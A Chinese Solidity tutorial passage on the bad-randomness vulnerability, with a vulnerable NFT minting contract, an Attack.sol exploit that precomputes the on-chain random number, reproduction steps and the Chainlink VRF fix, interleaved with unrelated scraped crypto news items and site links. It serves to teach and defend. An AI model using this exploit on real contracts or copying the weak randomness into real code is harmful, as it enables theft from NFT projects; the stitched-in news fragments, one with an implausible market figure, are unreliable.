我最近在重新學solidity,鞏固一下細節,也寫一個“WTF Solidity極簡入門”,供小白們使用(編程大佬可以另找教程),每周更新1-3講。
這一講,我們將介紹智能合約的壞隨機數(Bad Randomness)漏洞和預防方法,這個漏洞經常在 NFT 和 GameFi 中出現,包括 Meebits,Loots,Wolf Game等。
很多以太坊上的應用都需要用到隨機數,例如NFT隨機抽取tokenId、抽盲盒、gamefi戰斗中隨機分勝負等等。但是由于以太坊上所有數據都是公開透明(public)且確定性(deterministic)的,它沒有其他編程語言一樣給開發者提供生成隨機數的方法,例如random()。很多項目方不得不使用鏈上的偽隨機數生成方法,例如 blockhash() 和 keccak256() 方法。
壞隨機數漏洞:攻擊者可以事先計算這些偽隨機數的結果,從而達到他們想要的目的,例如鑄造任何他們想要的稀有NFT而非隨機抽取。更多的內容可以閱讀 WTF Solidity極簡教程 第39講:偽隨機數。
goblintown.wtf系列NFT24小時交易額為151.15萬美元:金色財經消息,據NFTGo.io數據顯示,goblintown.wtf系列NFT總市值達5353.65萬億美元,在所有NFT項目總市值排名中位列第42;其24小時交易額為151.15萬美元,增幅達22.03%。截止發稿時,該系列NFT當前地板價為2.95,跌幅達33.11%ETH。[2022/6/15 4:28:57]
下面我們學習一個有壞隨機數漏洞的 NFT 合約: BadRandomness.sol。
contract BadRandomness is ERC721 { uint256 totalSupply; // 構造函數,初始化NFT合集的名稱、代號 constructor() ERC721("", ""){} // 鑄造函數:當輸入的 luckyNumber 等于隨機數時才能mint function luckyMint(uint256 luckyNumber) external { uint256 randomNumber = uint256(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))) % 100; // get bad random number require(randomNumber == luckyNumber, "Better luck next time!"); _mint(msg.sender, totalSupply); // mint totalSupply++; }}它有一個主要的鑄造函數 luckyMint(),用戶調用時輸入一個 0-99 的數字,如果和鏈上生成的偽隨機數 randomNumber 相等,即可鑄造幸運 NFT。偽隨機數使用 blockhash 和 block.timestamp 聲稱。這個漏洞在于用戶可以完美預測生成的隨機數并鑄造NFT。
Nansen:目前有184個“無聊猿”BAYC 持有者同時持有“哥布林” GoblintTown.wtf:金色財經報道,據 Nansen 官方社交媒體賬號披露數據顯示,目前有184個“無聊猿”BAYC 持有者同時持有“哥布林” GoblintTown.wtf,占比約為 2.94%。Nansen 指出,“無聊猿”BAYC和“哥布林” GoblintTown.wtf 的一大區別在于,前者是在加密牛市期間為無聊的“行業老炮兒”們創建的,而后者則是在加密熊市期間通過免費公售的形式在以太鏈上發售。[2022/6/3 4:00:25]
下面我們寫個攻擊合約 Attack.sol。
contract Attack { function attackMint(BadRandomness nftAddr) external { // 提前計算隨機數 uint256 luckyNumber = uint256( keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)) ) % 100; // 利用 luckyNumber 攻擊 nftAddr.luckyMint(luckyNumber); }}攻擊函數 attackMint()中的參數為 BadRandomness合約地址。在其中,我們計算了隨機數 luckyNumber,然后將它作為參數輸入到 luckyMint() 函數完成攻擊。由于attackMint()和luckyMint()將在同一個區塊中調用,blockhash和block.timestamp是相同的,利用他們生成的隨機數也相同。
goblintown.wtf系列NFT交易額突破5000萬美元:金色財經報道,據nftgo最新數據顯示,“哥布林”goblintown.wtf 系列 NFT交易額已突破 5000 萬美元,截至目前為 5067 萬美元,交易額排名前三的分別是goblintown #6485(77.75 ETH)、goblintown #8995(69.42 ETH)和goblintown #9249(31.04 ETH)。[2022/6/2 3:58:25]
由于 Remix 自帶的 Remix VM不支持 blockhash函數,因此你需要將合約部署到以太坊測試鏈上進行復現。
部署 BadRandomness 合約。
部署 Attack 合約。
將 BadRandomness 合約地址作為參數傳入到 Attack 合約的 attackMint() 函數并調用,完成攻擊。
調用 BadRandomness 合約的 balanceOf 查看Attack 合約NFT余額,確認攻擊成功。
goblintown.wtf NFT系列24小時成交額超581萬美元:金色財經消息,據NFTGo.io數據顯示,goblintown.wtf NFT系列24小時成交額已達581.4萬美元,增幅為173.19%。截止發稿,其地板價為0.55ETH,24小時漲幅為201.03%。據該項目網站信息顯示,該NFT系列共1萬枚NFT,發布時采取免費鑄造形式,每個錢包地址限鑄造一枚,項目團隊和路線圖信息都暫未發布。[2022/5/23 3:34:45]
我們通常使用預言機項目提供的鏈下隨機數來預防這類漏洞,例如 Chainlink VRF。這類隨機數從鏈下生成,然后上傳到鏈上,從而保證隨機數不可預測。更多介紹可以閱讀 WTF Solidity極簡教程 第39講:偽隨機數。
這一講我們介紹了壞隨機數漏洞,并介紹了一個簡單的預防方法:使用預言機項目提供的鏈下隨機數。NFT 和 GameFi 項目方應避免使用鏈上偽隨機數進行抽獎,以防被黑客利用。
推特:@0xAA_Science|@WTFAcademy_
fees.wtf回應低流動性:團隊正在逐步增加流動性以防止機器人搶跑:1月14日消息,Gas 使用統計查詢網站 fees.wtf 在 Discord 社群中回應關于流動性不足的問題,并表示其在發布前提到將在發布不久之后添加流動性,但并未說明具體數量。是因為團隊不希望機器人搶先運行,并提走全部原有流動性。因此導致市場上發生了一場機器人對機器人的斗爭:
由于初始發布時的流動性很低,有機器人將 100 ETH 投入一個僅有 1 到 2 個 ETH 的流動性池中。設置很高的滑點,最終被其他機器人耗盡了全部的 ETH,是一個高滑點、低流動性的案例。
fees.wtf 團隊希望用戶沒有受到影響,一起仍按原計劃進行,團隊正在增加流動性。[2022/1/14 8:48:44]
社區:Discord|微信群|官網 wtf.academy
所有代碼和教程開源在github: github.com/AmazingAng/WTFSolidity
來源:bress
Bress
個人專欄
閱讀更多
金色早8點
比推 Bitpush News
Foresight News
PANews
Delphi Digital
區塊鏈騎士
深潮TechFlow
鏈捕手
區塊律動BlockBeats
DeFi之道
作者:iZUMi Research原文鏈接:https://foresightnews.pro/article/detail/188892022.11.
1900/1/1 0:00:00在國內,元宇宙一詞自2021年登頂“漢語盤點2021”和“十大網絡用語”后,2022年逐步從大眾熟悉的“吃瓜”領域過渡到了應用階段.
1900/1/1 0:00:00▌土耳其金融犯罪調查局正在調查FTX金色財經報道,根據周一發布的官方通知,土耳其金融犯罪調查局正在調查FTX,該通知稱,該機構將調查與FTX相關的人員、機構、銀行和加密服務提供商.
1900/1/1 0:00:00北京時間2022年11月13日23:31:28 ,CertiK Skynet天網監測到Flare項目價格跌幅超過95%。經CertiK安全團隊調查,已確認該項目為Rug Pull騙局項目.
1900/1/1 0:00:00撰文:Babywhale,Foresight NewsTwitter:@Foresight_NewsDiscord:discord.com/invite/XF643VcTnGTelegram快訊.
1900/1/1 0:00:00撰文:Momir, IOSG Ventures如果中心化交易所在 ETH 質押市場上占主導地位,那將違背以太坊建設去中心化網絡的目標.
1900/1/1 0:00:00